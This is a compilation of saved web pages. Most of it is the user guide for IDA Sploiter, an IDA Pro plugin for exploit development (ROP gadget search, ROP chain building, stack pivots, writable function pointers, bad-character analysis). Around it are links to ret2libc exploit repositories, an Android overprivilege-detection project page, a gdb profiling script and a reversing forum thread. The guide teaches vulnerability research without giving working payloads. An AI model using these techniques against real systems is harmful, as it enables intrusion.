> https://github.com/raminfp/linux\_exploit\_development/tree/master/jmp\_shellcode
[code]

    Exploit Linux stack buffer overflows on ASLR (bruteforce) using ret2libc techniques.
[/code]

> >
> https://github.com/raminfp/linux\_exploit\_development/tree/master/ret2libc
[code]

    Exploit bypassing on NX using ret2libc technique.
[/code]

> >
> https://github.com/raminfp/linux\_exploit\_development/tree/master/rop\_ret2libc
[code]

    Exploit stack buffer overflow chain-ret2libc technique.
[/code]

> > https://github.com/raminfp/linux\_exploit\_development/tree/master/chain-
> ret2libc

# ida sploiter | projects | sprawl
**Created:**| _10/6/2014 5:37:35 PM_  
---|---  
**Updated:**| _10/6/2014 5:37:35 PM_  
**Author:**| __  
**Tags:**| _iDA plugin_  
  

# ida sploiter

Download|  idasploiter-1.0.zip  
---|---  
Size|  25.4 KB  
Date| September 14th, 2014  
Version| 1.0  
IDA Sploiter is a plugin for Hex-Ray's IDA Pro disassembler designed to
enhance IDA's capabilities as an exploit development and vulnerability
research tool. Some of the plugin's features include a powerful ROP gadgets
search engine, semantic gadget analysis and filtering, interactive ROP chain
builder, stack pivot analysis, writable function pointer search, cyclic memory
pattern generation and offset analysis, detection of bad characters and memory
holes, and many others.

The motivation for the development of IDA Sploiter was to make IDA Pro a
comfortable, powerful and integrated environment for vulnerability research
and exploit development. The plugin is designed to make many repetitive and
time consuming tasks as effortless and natural as possible, so you can
concentrate on other more challenging aspects of exploit development.

To make the work with the plugin convenient, IDA Sploiter closely integrates
with the IDA UI and exposes its functionality and various configurations
through various views and forms. The plugin's logic uses IDA's powerful
disassembly engine and various debugger plugins. As a result, IDA Sploiter can
take advantage of many of IDA's unique features \(e.g. building ROP chains
remotely on a lab machine while effortlessly switching between debugger
plugins\).

In the user guide below, you will find a comprehensive discussion of various
plugin features and their sample use. Most of the sections are independent of
each other, so you are welcome to jump ahead or read through the entire guide.

Feel free to contact me if you have any questions, feature requests, bugs or
just to say hello :\)

# Installation

Simply copy `idasploiter.py` into the IDA's `plugins` folder. The plugin will
be automatically loaded the next time you start IDA Pro.

# Compatibility

IDA Sploiter uses pure IDA Python API, so it **should** be compatible with
most recent versions. However, it was only extensively tested on IDA Pro 6.5
and 6.6 for Windows and OS X \(32 and 64 bit versions\).

The first release of the plugin targets x86 and x86-64 architectures. Module
analysis is implemented for Windows PE32 and PE32+ executables only.

A limited set of the plugin's functionality was tested to work correctly for
Linux ELF and OS X Mach-O binaries as well; however, their full support along
with non-Intel architectures is in development for the next release.

# User guide

This guide will walk you through various features of IDA Sploiter using plenty
of examples and exploit development tips and tricks. I hope you will enjoy
using this plugin as much as I had writing it.

## Modules

One of the key steps of exploit development is identifying vulnerable modules
in a running process which could be leveraged to produce ROP chains, stack
pivots, reliable function pointers, etc. IDA Sploiter includes a comprehensive
module analysis view which can be opened from `View` -> `Open Subview` ->
`Modules` submenu:

<img src='img/Temp2_10383.png' />

**NOTE:** _The view is only usable when the target application is started and
suspended in the debugger, so all of the necessary modules are loaded in the
application's memory space._

Below is a sample modules view of a 32-bit application on a Windows 7 64bit
system:

<img src='img/Temp2_10361.png' />

You can immediately notice that the main application module does not support
neither DEP nor ASLR. This makes it a suitable target for ROP gadgets and
pivots. However, because it supports SafeSEH, a different target needs to be
chosen for exploit vectors using SEH overwrites.

Let's look at another modules view, this time for a sample 64-bit application
also running on a Windows 7 system:

<img src='img/Temp2_10357.png' />

Notice that the main application was once more compiled without DEP or ASLR
support. However, some of the fields like SafeSEH are no longer applicable on
64bit applications due to the use of a different table-based exception
handling mechanism. Furthermore, the plugin was not able to determine whether
or not the security cookies \(canary\) were used in the application.

**NOTE:** _PE32+ file format no longer provides a definitive pointer to
security cookies._

#### Filtering Modules

As an exercise, let's connect to a remote IDA debugger server and view modules
loaded by a vulnerable Firefox browser to determine "interesting" modules:

<img src='img/Temp2_10362.png' />

Looks like a wide assortment of ASLR and non-ASLR enabled modules. In order to
concentrate on just non-dynamic base and non-nxcompat modules let's open a
filter dialog by selecting `Modify filters...` in the context menu as follows:

<img src='img/Temp2_10371.png' />

We can now apply several exclusion filters to make sure that only
"interesting" modules are displayed:

<img src='img/Temp2_10370.png' />

After sorting by path, we can now see that the vulnerability we found in
Firefox can be exploited using the outdated Java modules and the good old
`MSVCR71.dll`:

<img src='img/Temp2_10385.png' />

#### Searching module selection

At this point you can select one or more modules and select an action to
perform from the context menu \(e.g. Search ROP gadgets\):

<img src='img/Temp2_10346.png' />

You can find an in depth discussion of searching for ROP gadgets and writable
function pointers below.

## ROP gadgets

One of the most powerful features of IDA Sploiter is the ROP gadgets search
engine. As mentioned in the introduction, the plugin fuses syntactic and
semantic gadget analysis and searching to make one of the most laborious tasks
in exploit development, ROP chain building, as comfortable and powerful as
possible.

**NOTE:** _Just like the modules view, the ROP gadgets search is only
functional when the target application is started and suspended in the
debugger._

#### Searching ROP gadgets

You have already seen how to open the ROP gadgets search form in the modules
view. Another way is to select `ROP gadgets` menu item in the `Search` menu:

<img src='img/Temp2_10363.png' />

You will be presented with the `Search ROP gadgets` configuration dialog like
the one below

<img src='img/Temp2_10386.png' />

While the number of options and settings may seem overwhelming at first, you
can leave the majority of them as is. The key selection you must make is a set
of modules to search. Because we have started this particular dialog from the
`Search` menu, all of the non-ASLR modules will be automatically selected for
you. If you would have opened this form from the Modules View, all of the
selected modules would have also been selected in this search dialog.

Below is a complete listing of ROP gadgets search engine settings:

  * **Pointer Charset** \- allows you to apply filters to the bytes constituting the address of the gadget pointer. For example, in cases where the application filters any non-alphanumeric bytes, you can apply the `alphanum` pointer charset filter to only locate gadgets with alphanumeric addresses.
  * **Bad Chars** \- additional pointer address character set filter. For example, `0x0a` and `0x0d` bytes often result in the injected payload being terminated too early.
  * **Unicode Table** \- single byte to Unicode conversion table used to determine address pointer Unicode compatibility.
  * **Bad Instructions** \- forbidden instructions in the ROP gadget. For example, instructions like `CALL` or `JMP` may result in you losing control over the execution flow.
  * **Max ROP size** \- maximum number of instructions in a ROP gadget including the last `RETN` instruction. Increase or decrease this number to find larger or smaller gadgets respectively.
  * **Max ROP offset** \- maximum number of bytes used prior to the `RETN` instruction to locate valid gadgets. Increase or decrease this number to find more or less gadgets respectively.
  * **Max RETN imm16** \- maximum _decimal_ value of `imm16` that is permitted in the `RETN` instruction. Increasing this value will require you to also increase the padding in the ROP chain. For example, `RETN 0x10` instruction will require a 4 DWORD padding following the next gadget in the chain.
  * **Max ROP gadgets** \- maximum number of ROP gadgets to locate in all selected modules. 
  * **Allow conditional jumps** \- includes ROP gadgets containing conditional jumps. These gadgets may still be valid if you can control the respective EFLAGS to prevent conditional jumps from hijacking the desired execution flow.
  * **Do not allow bad bytes** \- do not include gadgets containing invalid instructions. Checking this box will reduce the number of gadgets which are likely to work despite bad bytes which cannot be decoded to valid instructions.

After you have selected the modules to use for the search and configured the
search engine, hit the `Search` button to begin the search. A search progress
popup will appear which allows you to stop the search at any time and review
all of the discovered gadgets:

<img src='img/Temp2_10366.png' />

### Viewing ROP gadgets

Once the search completes, you will be presented with a ROP gadgets table
containing a collection of discovered gadgets and their characteristics:

<img src='img/Temp2_10380.png' />

Let's examine various parts of the view and how they can be used to build a
ROP chain. The first few columns contain gadget addresses, gadgets themselves
as well as some basic information like gadget size and the module used to
locate them:

<img src='img/Temp2_10353.png' />

The default view presents gadgets sorted by the order they were discovered
relative to a particular `RETN` address. For example, the first discovered
gadget `pop esi # retn` at `0x0040105E` was discovered just one byte behind
the `RETN` address at `0x0040105F`. The next gadget at `0x0040105F` was
discovered by looking 2 bytes behind that same `RETN` and so on. You may find
this ordering useful when trying to minimize gadget size and the changes it
makes to program's state. I also like sorting by size and looking at a few
simple gadgets to get a feel for the type of ROP gadgets available in a
particular module.

The other half of the ROP gadgets table contains more descriptive information
about gadgets' semantics such as what type of operations they perform \(e.g.
register to memory copy, arithmetic, stack operation, etc.\), registers
changed, registers used, and the character sets of the gadgets' addresses:

<img src='img/Temp2_10365.png' />

Looking at the above screenshot, you can quickly tell that a gadget at
`0x0040105D` adjusts the stack by 8 bytes \(two `POP`s\), performs a stack
operation on single registers, modifies the values of registers `EDI` and
`ESI`, and has an address pointer character set compatible with ASCII filters.
Another example, the gadget at `0x0040105C` has no effect on the stack
pointer, but performs an arithmetic operation \(`ADD`\) and uses the register
`BL` to affect a memory address. Powerful stuff\!

Below is a complete list of all of the gadget operations that the plugin can
detect:

  * **one-reg** \- Operation involving a single register operand
  * **one-mem** \- Operation involving a single memory operand
  * **one-imm** \- Operation involving a single immediate operand
  * **stack** \- Stack opeartion
  * **math** \- Arithmetic operation
  * **bit** \- Bit-wise operation
  * **reg-to-reg** \- Register to register operation
  * **reg-to-mem** \- Register to memory operation
  * **mem-to-reg** \- Memory to register operation
  * **imm-to-reg** \- Immediate to register operation

### Syntactic and semantic gadget filters

Using IDA's powerful regular expression table filtering engine you can quickly
locate gadgets based on not only their syntactic, but also much more
descriptive semantic characteristics. For example, let's try to locate all
gadgets which modify the `eax` register with any other register using
syntactic and semantic approaches.

The syntactic approach involves a simple regular expression to locate all
`mov` instructions:

<img src='img/Temp2_10378.png' />

The result is the expected collection of gadgets with the `mov eax, e??`
instructions:

<img src='img/Temp2_10368.png' />

Now let's try the semantic approach by describing what we want the gadget to
accomplish as opposed to searching for the exact instruction pattern:

<img src='img/Temp2_10389.png' />

The result contains the same `mov eax, e??` instructions as well as a few more
interesting results which can also accomplish the same task \(e.g. `xchg`,
`sbb`, `movzx`, etc.\):

<img src='img/Temp2_10374.png' />

Now imagine introducing additional limitations like ensuring that `esi`
register is not modified and the stack pointer is not changed. Such queries
can be made easily using semantic search without resorting to long and complex
regular expression queries.

### ROP chain builder

As you find interesting gadgets, IDA sploiter offers an easy way to record
them using the `Add to chain` context menu entry. For example, let's add
several sequential `reg-to-mem` gadgets which are great for filling in memory
placeholders \(e.g. dynamically calculated values necessary to make a function
call like `VirtualProtect`\):

<img src='img/Temp2_10384.png' />

Once you have selected a collection of interesting gadgets, you can click on
the `Build chain` context menu entry to bring up a new `ROP chain builder`
dialog:

<img src='img/Temp2_10349.png' />

All of the previously added gadgets will be present in this view where you can
build the final ROP chain payload. For example, let's duplicate the `pop eax #
retn` and move each duplicate above each register-to-memory gadget:

<img src='img/Temp2_10364.png' />

**NOTE:** _To speed up the chain building process you can perform all of the
operations in the context menu on multiple gadgets at the same time._

At this point let's add constant values that we will be `POP`-ed from the
stack into the `EAX` register and stored at some offset relative to the `ECX`
pointer. Notice the `0x41414141` constant value, a comment field and the
`Insert` button just below the `ROP gadgets` view. You can use this form to
quickly insert constants and padding into the chain:

<img src='img/Temp2_10352.png' />

We now have a sample ROP chain primitive that will get values from the stack
and place them to several memory offsets. The final step in the ROP chain
building process is generating a payload that you can paste into the exploit.
Let's select `Python` format in the selector on the bottom and click on the
`Generate` button:

<img src='img/Temp2_10381.png' />

Using the combination of ROP gadget filtering and the ROP builder, you will be
able to quickly build complex ROP chains to bypass DEP and more.

### Stack Pivoting

Once of the first steps in the exploit development process after you have
gained control over the instruction pointer is to pivot the execution flow to
your ROP chain. Traditionally this can be accomplished by adjusting the stack
pointer to the beginning of your ROP chain and returning to it.

IDA Sploiter can help you to find a suitable pivot by recording stack pointer
change distances in the `Pivot` column:

<img src='img/Temp2_10391.png' />

In cases where the location of the ROP chain is located in one of the
registers, you can quickly search for a suitable `reg-to-reg` operation that
modifies the `ESP` register using the semantic search method:

<img src='img/Temp2_10355.png' />

### Exporting

IDA Sploiter supports exporting of all of the discovered gadgets and their
characteristics to a CSV file. Select `Export as csv..` context menu item and
select a CSV file to save all of the gadgets:

<img src='img/Temp2_10360.png' />

## Writable function pointers

Exploitation of the _write-what-where_ vulnerabilities often relies on
locating and overwriting writable function pointers \(e.g. vtable entries\).
IDA Sploiter includes a powerful writable function pointer and pointer-to-
pointer search engine to aid in exploitation of this vulnerability class.

### Searching writable function pointers

You have already seen how to open the function pointer search form in the
modules view. Another way is to select the `function pointers...` menu item in
the `Search` menu:

<img src='img/Temp2_10387.png' />

You will be presented with the configuration dialog like the one below:

<img src='img/Temp2_10367.png' />

**NOTE:** _Modules selected in the`Modules` view or any non-ASLR modules will
be pre-selected automatically._

Many of the search engine settings are similar to the ones in the ROP gadgets
search form:

  * **Pointer Charset** \- allows you to apply filters to the bytes constituting the pointer address. For example, in cases where the application filters any non-alphanumeric bytes, you can apply the `alphanum` pointer charset filter to only writable function pointers with alphanumeric addresses.
  * **Bad Chars** \- additional pointer address character set filter. For example, `0x0a` and `0x0d` bytes often result in the injected payload being terminated too early.
  * **Unicode Table** \- single byte to Unicode conversion table used to determine address pointer Unicode compatibility.
  * **PTR Offset** \- writable function pointer offset \(see below\).
  * **P2P Offset** \- pointer to pointer offset \(see below\).
  * **Max Pointers** \- maximum number of pointers to find to locate in all selected modules.
  * **Filter** \- apply pointer character set filter on the actual function pointers or pointers to pointers. This depends on whether you are writing directly to the function pointers or using an indirect pointer to pointer.
  * **Do not search for pointers-to-pointers** \- select this box if you do not need to find pointer to pointers \(faster\).

After you have selected the modules to use for the search and configured the
search engine, hit the `Search` button to begin the search. A search progress
popup will appear which allows you to stop the search at any time and review
all of the discovered pointers:

<img src='img/Temp2_10354.png' />

### Viewing writable function pointers

Once the search completes, you will be presented with a table containing a
collection of discovered pointers and their characteristics:

<img src='img/Temp2_10359.png' />

The view contains a wealth of information including addresses of function
pointers, the calls using them, and any discovered pointers to those writable
pointers.

You can quickly jump to the memory location references by either of these
addresses for further analysis. For example, let's look at the contents of the
first pointer and verify it is indeed writable:

<img src='img/Temp2_10347.png' />

In the above screenshot we can see that the pointer `0x004760C0` currently
contains 4 null bytes and belongs to the writable `.data` segment. This makes
it a perfect target if we can trigger the `call dword_4760C0` instruction.

### Pointer offsets

One of the useful features in searching for writable function pointers is the
ability to specify pointer offsets. Imagine a scenario where you control both
the `fptr` and `value` in the following instruction

[code]

       offset value
      
     
    
[/code]

If we want to gain code execution, then we need to subtract the `offset` from
all of the located function pointers before overwriting their values. You can
specify a positive or negative offset in the **PTR Offset** field \(located in
the search engine configuration form\) and it will be automatically applied to
all of the discovered writable function pointers. Consider the following entry
which illustrates a sample offset `0x10`:

<img src='img/Temp2_10388.png' />

In the screenshot above the discovered pointer `0x004760B0` was automatically
applied the offset `0x10`. Once the `MOV` with the offset occurs, the original
calling instruction `call dword_4760C0` will execute the desired value.

This feature gets particularly useful once we get to pointers to pointers.
Consider the following example pseudo-assembly snippet where we control `p2p`
and `value`:

[code]

      
       offset value
      
     
    
[/code]

The pointer to pointer `0x00443783` was calculated using the offset to the
pointer `0x004760B0` required for the copy operation, not the actual called
function pointer `0x004760C0`:

<img src='img/Temp2_10369.png' />

The final frequently occurring scenario that we must consider is an additional
offset in the pointer to pointer itself:

[code]

        p2p_offset
       offset value
      
     
    
[/code]

You can specify this new offset in the **P2P Offset** field of the `Search
writable function pointers` dialog. Below is an example of using offset `0x20`
applied to the pointer to pointer values:

<img src='img/Temp2_10356.png' />

Just as expected the pointer to the actual desired `0x004760B0` address is
located at the `0x20` byte offset relative to the specified pointer-to-pointer
value of `0x00443763`.

### Setting breakpoints

Once you determine a set of interesting writable pointers, it is often
convenient to set breakpoints on the calling instructions to see which one
triggers first. You can set one or more breakpoints by selecting desired
caller addresses and selecting the `Add breakpoint` in the context menu:

<img src='img/Temp2_10372.png' />

### Exporting

IDA Sploiter supports exporting of all of the discovered pointers and their
characteristics to a CSV file. Select `Export as csv...` context menu item and
select a CSV file to save all of the pointers:

<img src='img/Temp2_10350.png' />

## Memory patterns

Cyclic patterns \(aka Metasploit patterns\) are very useful constructs in the
exploit development process used to quickly determine interesting offsets in
injected payloads. IDA Sploiter supports both generation and detection of such
patterns using default alphanumeric or custom character sets.

### Creating a pattern

In order to generate a new pattern, open the `Create pattern` dialog from the
`Edit` submenu:

<img src='img/Temp2_10390.png' />

The `Create pattern` form will allow you to specify pattern size, define
custom character sets, and select various output formats. For example, let's
generate the classic Metasploit pattern of size 1000:

<img src='img/Temp2_10373.png' />

All of the patterns have a limited size where they remain unique. For example,
the classic `Aa0Aa1...` alphanumeric pattern can only produce up to 20280
unique bytes without repeating itself. Let's create a larger 100,000 byte
unique pattern by introducing special characters and use the `JavaScript`
format for the output:

<img src='img/Temp2_10376.png' />

Feel free to play around with various pattern character sets to produce the
desired pattern size compatible with whatever filters implemented by the
application \(e.g. lowercase only\). All of the changes that you make to each
character set field will be preserved so you can easily reuse them when to
need to detect a pattern offset.

### Detecting a pattern

To detect a pattern, open the `Detect pattern` dialog from the `Edit` submenu:

<img src='img/Temp2_10348.png' />

The `Detect pattern` form has two formats depending on whether or not your are
currently debugging an application. Below is the debugger version which
detects patterns in all of the registers or a custom pattern:

<img src='img/Temp2_10382.png' />

The static version is virtually identical with the exception of all of the
register values:

<img src='img/Temp2_10358.png' />

## Comparing file to memory

As you approach the end of the exploit development process, you decide to
plugin your favorite shellcode. Unfortunately instead of a nice calculator
popup or a welcoming port 4444 opening up on the compromised host all you see
is a nasty memory error message. It is likely that you are dealing with a bad
character or a memory hole issue which somehow corrupts your shellcode. To
help you debug this issue, IDA Sploiter implements a file to memory comparison
dialog which can help you identify the root of the problem.

To open the dialog, select `Compare file to memory...` from the `Edit`
submenu:

<img src='img/Temp2_10351.png' />

A `Compare file to memory` form will pop up with the Memory field already
filled in using the currently selected address in IDA:

<img src='img/Temp2_10379.png' />

Let's inject a simple bind shell exploit generated by Metasploit and attempt
to inject into the stack area. After the injection we will compare the
injected memory with the raw binary on disk:

<img src='img/Temp2_10375.png' />

In the view above, each memory offset has two rows: top row, identified by `F`
corresponds to the bytes in the file, bottom row, identified by `M`
corresponds to the bytes in memory. Identical bytes in both file and memory
are identified using `..`. Any discrepancies can be observed by different byte
values in the file and memory rows. In this example, you can quickly see that
the null terminating byte prevented the rest of the shellcode from being
injected into memory.

Notice that even though there were null bytes still in memory \(e.g. offset
0x04\), they were correctly identified as discrepancies and bundled in the
massive 337 byte memory hole starting at the offset `0x03` at the first
instance of the bad character.

Just for completeness let's view a case where both file and memory contents
match:

<img src='img/Temp2_10377.png' />

Great\! With no null bytes, we are ready to continue execution of the exploit
and pop a calc.

# Special Note

The plugin would not be possible without the excellent work done by the Hex-
Rays development team, especially their lightning quick support. Both the
inspiration and the know-how to start using and developing for the IDA Pro
came from Chris Eagle and his IDA Pro book.

The IDA Sploiter itself was built on the backs of the giants including the
excellent mona Immunity Debugger / WinDbg plugin by Peter Van Eeckhoutte,
Byakugan WinDbg plugin by the Metasploit folks, narly WinDbg plugin by James
Johnson, ROPGadget by Jonathan Salwan, and many others.

Last but not least, greets to all of my teachers who helped me love and
appreciate exploitation as an art form: Stephen Sims, Matteo Memelli, Jim
O'Gorman, Aaron Portnoy, Zef Cekaj, Peter Van Eeckhoutte, Xeno Kovah, Corey
Kallenberg, Steven Seeley, and Jason Kratzer.

Happy 'sploiting folks\!

-Peter
# References

# PDF - 2015.zeronights.org

**Created:**| _12/8/2015 10:48:23 AM_  
---|---  
**Updated:**| _12/8/2015 10:48:23 AM_  
**Author:**| __  
**Tags:**| __  
  
  
<img src='img/43-bolshev-ryutin.pdf' />  

# Android Permissions Demystified

**Created:**| _9/17/2011 4:12:52 PM_  
---|---  
**Updated:**| _9/17/2011 4:12:52 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification analysis static android_  
  

Overview  
Parts of the Android API are protected with permissions. In order to access
protected API calls, developers must request the appropriate permissions in
their applications' manifests. If a developer asks for more permissions than
an application needs, then the application is _overprivileged._ Preventing
overprivilege is important. Extra permissions may \(1\) unnecessarily deter
users from installing applications, \(2\) unnecessarily accustom users to
accepting lots of permissions, and \(3\) needlessly increase the potential
damage of application vulnerabilities. We built Stowaway, a static analysis
tool that detects overprivilege in compiled Android applications. Stowaway
determines the set of API calls that an application uses and then maps those
API calls to permissions. We used automated testing tools on the Android API
to build the permission map.  
  
You can read our research paper for more information about how our static
analysis tool works and how we collected the permission map data. The paper
will be presented later this year at CCS 2011.

Deliverables  
Here's how our work might be useful to you:

  * **Upload your app for analysis.** Stowaway will tell you whether your application has any unnecessary permissions. Don't worry: the results will be displayed within a minute, and your app won't be saved on our server after the analysis is complete.
  * **Browse the permission map.** Curious about whether a specific API call, Content Provider, or Intent needs a permission? Check out our permission map for Android 2.2.
  * **Download the full permission map.** If you use our data set in your research, please cite our CCS 2011 paper.

This work is partially supported by National Science Foundation grants
CCF-0424422, 0311808, 0832943, 0448452, 0842694, a gift from Google, and the
MURI program under AFOSR grant FA9550-08-1-0352. This material is also based
upon work supported under a National Science Foundation Graduate Research
Fellowship. Any opinions, findings, conclusions, or recommendations expressed
here are those of the authors and do not necessarily reflect the views of the
National Science Foundation.

# poor man's profiler

**Created:**| _4/7/2012 11:10:44 AM_  
---|---  
**Updated:**| _4/7/2012 11:10:44 AM_  
**Author:**| __  
**Tags:**| _Debugging commandline-kungfu_  
  

<img src='img/Temp2_10567.png' alt='will profile for food' />

# poor man's profiler

## rationale

Sampling tools like oprofile or dtrace's profile provider don't really provide
methods to see what \[multithreaded\] programs are blocking on - only where
they spend CPU time. Though there exist advanced techniques \(such as
systemtap and dtrace call level probes\), it is overkill to build upon that.
Poor man doesn't have time. Poor man needs food.

## method

For a poor developer to understand what a program is doing, he needs to see
stacks. Once upon a time \(back in Linux 2.4\) there was a 'pstack' tool for
that, Solaris has it too.

Modern Linux systems though do not have such facilities, and one needs to
improvise, like.. use debuggers - they can walk threads and provide stacks.

## technology

Getting stacks:

[code]

    gdb -ex "set pagination 0" -ex "thread apply all bt" \
      --batch -p $(pidof mysqld)
    	
[/code]

Or for version-impaired \(gdb 6.3 and older\):

[code]

    (echo "set pagination 0"; 
     echo "thread apply all bt"; 
     echo "quit"; cat /dev/zero ) | gdb -p $(pidof mysqld)
    	
[/code]

Collapsing traces \(awk\!\):

[code]

    BEGIN { s = ""; }
    /Thread/ { print s; s = ""; }
    /^\#/ { if (s != "" ) { s = s "," $4} else { s = $4 } }
    END { print s }
    	
[/code]

Full technology demonstration:

[code]

    #!/bin/bash
    nsamples=1
    sleeptime=0
    pid=$(pidof mysqld)
    
    for x in $(seq 1 $nsamples)
      do
        gdb -ex "set pagination 0" -ex "thread apply all bt" -batch -p $pid
        sleep $sleeptime
      done | \
    awk '
      BEGIN { s = ""; } 
      /Thread/ { print s; s = ""; } 
      /^\#/ { if (s != "" ) { s = s "," $4} else { s = $4 } } 
      END { print s }' | \
    sort | uniq -c | sort -r -n -k 1,1
    		
[/code]

## output

[code]

    291 pthread_cond_wait@@GLIBC_2.3.2,one_thread_per_connection_end,handle_one_connection
     57 read,my_real_read,my_net_read,do_command,handle_one_connection,start_thread
     26 pthread_cond_wait@@GLIBC_2.3.2,os_event_wait_low,os_aio_simulated_handle,fil_aio_wait,io_handler_thread,start_thread
      3 pthread_cond_wait@@GLIBC_2.3.2,os_event_wait_low,srv_purge_worker_thread
      1 select,os_thread_sleep,srv_purge_thread
      1 select,os_thread_sleep,srv_master_thread
      1 select,os_thread_sleep,srv_lock_timeout_and_monitor_thread
      1 select,os_thread_sleep,srv_error_monitor_thread
      1 select,handle_connections_sockets,main,select
      1 read,vio_read_buff,my_real_read,my_net_read,cli_safe_read,handle_slave_io
      1 pthread_cond_wait@@GLIBC_2.3.2,os_event_wait_low,sync_array_wait_event,rw_lock_s_lock_spin,buf_page_get_gen,btr_cur_search_to_nth_level,row_search_for_mysql,ha_innodb::index_read,handler::index_read_idx_map,join_read_const,join_read_const_table,make_join_statistics,JOIN::optimize,mysql_select,handle_select,execute_sqlcom_select,mysql_execute_command,mysql_parse,dispatch_command,do_command,handle_one_connection
      1 pread64,os_file_pread,os_file_read,fil_io,buf_read_page_low,buf_read_page,buf_page_get_gen,btr_cur_search_to_nth_level,row_search_index_entry,row_upd_step,row_update_for_mysql,ha_innodb::delete_row,handler::ha_delete_row,mysql_delete,mysql_execute_command,mysql_parse,Query_log_event::do_apply_event,apply_event_and_update_pos,handle_slave_sql
      1 pread64,os_file_pread,os_file_read,fil_io,buf_read_page_low,buf_read_page,buf_page_get_gen,btr_cur_search_to_nth_level,row_search_for_mysql,ha_innodb::index_read,handler::index_read_idx_map,join_read_const,join_read_const_table,make_join_statistics,JOIN::optimize,mysql_select,handle_select,execute_sqlcom_select,mysql_execute_command,mysql_parse,dispatch_command,do_command,handle_one_connection
      1 do_sigwait,sigwait,signal_hand
      
    
[/code]

## success stories and references

We hear this technology has been used by performance engineers at Google,
Facebook, Wikipedia, Intel, Sun Microsystems and other places.

  * Baron Schwartz
  * Mikael Ronstrom
  * Mark Callaghan

# Good binary code profilers? - RCE Messageboard's Regroupment

**Created:**| _5/18/2009 3:00:22 PM_  
---|---  
**Updated:**| _5/18/2009 3:00:33 PM_  
**Author:**| __  
**Tags:**| _reversing_  
  

dELTAAdministrator  
<img src='img/Temp2_3512.gif' width='39' height='50' alt='dELTA's Avatar' />  
Join Date: Oct 2000 Location: Ring -1 Posts: 3,472 Blog Entries: 5 | **Good binary code profilers?**
* * *
When the subject of profilers came up briefly in some discussion here on the
board a while ago, I remember catching myself feeling surprised that they are
practically never mentioned in reversing contexts. Coverage tools like
Paimei/pStalker are sometimes \(but rarely\) mentioned in reversing contexts,
and I guess that compared to the more complex profilers, these code coverage
tools are also the most natural \(and quite efficient too, check out
Paimei/pStalker if you haven't already:
http://www.woodmann.com/forum/showthread.php?t=10851\), but for some purposes,
a more profiler centric tool would be more efficient, e.g. in the event of
pin-pointing some code that consumes lots of CPU power \(e.g. a bug or other
suspect piece of code like this one:
http://www.woodmann.com/forum/showthread.php?t=11302\) or when you want to
efficiently pinpoint e.g. some encryption/decryption, checksum code or
similar, where the same code blocks are hit a very high number of times during
a short period of time. And of course, the target will be an executable for
which we **don't** have the source code.  
  
My Google searches about this subject have been hard to make good results of.
Partly because of the ambiguous "profiler" word, but mostly because most
profiler software seems to be primarily aimed and centered around analyzing
programs that you already have the source code for. Also, the area of code
profiling \(let alone binary, source code-less, code profiling\) is so small
in relation to other areas of interest, that it is easily drowned even more in
irrelevant search results, and this also makes it very hard to find out which,
if any, products are popular or good within this field.  
  
So, this is an excellent time to consult the vast experience in the areas of
debugging, programming and analyzing code that is present on this board, by
asking: Which tools do you use and/or recommend for binary profiling as
described above?  
  
To clarify: What I'm primarily looking for is logging of code execution hits
on the basic block level, with hit counters and sorting in decreasing order of
the most frequently hit code blocks \(possibly of the approximate kind, i.e.
it's not necessary that the hits are counted exactly by means of breakpoints,
many profilers use sampling techniques too, to speed up the process at the
cost of more approximative results\).  
  
Any good tips or ideas, anyone? \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
_"Give a man a quote from the FAQ, and he'll ignore it. Print the FAQ, shove
it up his ass, kick him in the balls, DDoS his ass and kick/ban him, and the
point usually gets through eventually."_  
---|---  
<img src='img/Temp2_3511.gif' alt='dELTA is offline' /> | <img src='img/Temp2_3509.gif' alt='Reply With Quote' />  
<img src='img/Temp2_3518.gif' alt='Old' /> 02-11-2008, 01:50 PM |  \#**2**  
---|---  
AdmiralAll hands on deque  
<img src='img/Temp2_3513.gif' width='50' height='50' alt='Admiral's Avatar' />  
Join Date: Jan 2005 Posts: 263 Imported Blog Entries: 23 | I entirely agree that low-level profiling is something of an undiscovered gem in the RCE trade, but I think that this also explains the absence of any particularly strong tools for the job. I have been using AMD CodeAnalyst for a little while and it's pretty good at what it does, though its results are obviously at a loss compared to the equivalent generated with accompanying source-code. Nevertheless, the profiling method successfully performed a very tricky task in almost no time when I needed to isolate QuickTime's decryption routine, though admittedly this particular example is a large block of code that was quite well isolated from the remainder, making for easy identification using EIP samples alone.  
  
It shouldn't be too difficult to produce a heuristic block-based profiler
using a little static analysis, so I'd be disappointed, though not surprised,
if none exists. If this is the case, it'd certainly a project to consider
home-brewing. So many ideas, but so little time <img src='img/Temp2_3514.gif'
/>.  
  
For the record, AMD CodeAnalyst only works with AMD processors. The equivalent
for Intel is vTune. Each is available on the respective website for free
limited use. It should also be pointed out that these two profilers
differentiate themselves from the pack as they sample in kernel-mode, rather
than using the Windows debugging API, which makes them indispensable for
inter-process and driver-based work.  
<img src='img/Temp2_3511.gif' alt='Admiral is offline' /> | <img src='img/Temp2_3509.gif' alt='Reply With Quote' />  
<img src='img/Temp2_3518.gif' alt='Old' /> 02-11-2008, 02:58 PM |  \#**3**  
---|---  
dELTAAdministrator  
<img src='img/Temp2_3512.gif' width='39' height='50' alt='dELTA's Avatar' />  
Join Date: Oct 2000 Location: Ring -1 Posts: 3,472 Blog Entries: 5 | Thanks for the tip Admiral\! VTune was already in the profiler category of the CRCETL, and I now also added CodeAnalyst:  
  
http://www.woodmann.com/collaborative/tools/index.php/Category:Profiler\_Tools  
  
I guess that should cover the initial needs for sampling-based profilers. Just
like you though, I'd be very interested in getting my hands on some
breakpoint-based \(of INT3, or even better, memory access breakpoint type\)
basic block level profilers too, most likely available in the form of OllyDbg
or IDA plugins. Hasn't anyone around here ever heard of such a tool? In that
case please speak up\!  
  
Hmm, the Conditional Branch Logger OllyDbg plugin
\(http://www.woodmann.com/collaborative/tools/index.php/Conditional\_Branch\_Logger\)
should be relatively easy to turn into such a thing in the worst case... <img
src='img/Temp2_3519.gif' />  
  
Also Admiral, very cool to hear that you had already used the CodeAnalyst
profiler for one of the first things that came to mind when I thought about
possible areas of use for profilers in the reverse engineering field, i.e.
pinpointing crypto code. <img src='img/Temp2_3520.gif' />
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
_"Give a man a quote from the FAQ, and he'll ignore it. Print the FAQ, shove
it up his ass, kick him in the balls, DDoS his ass and kick/ban him, and the
point usually gets through eventually."_  
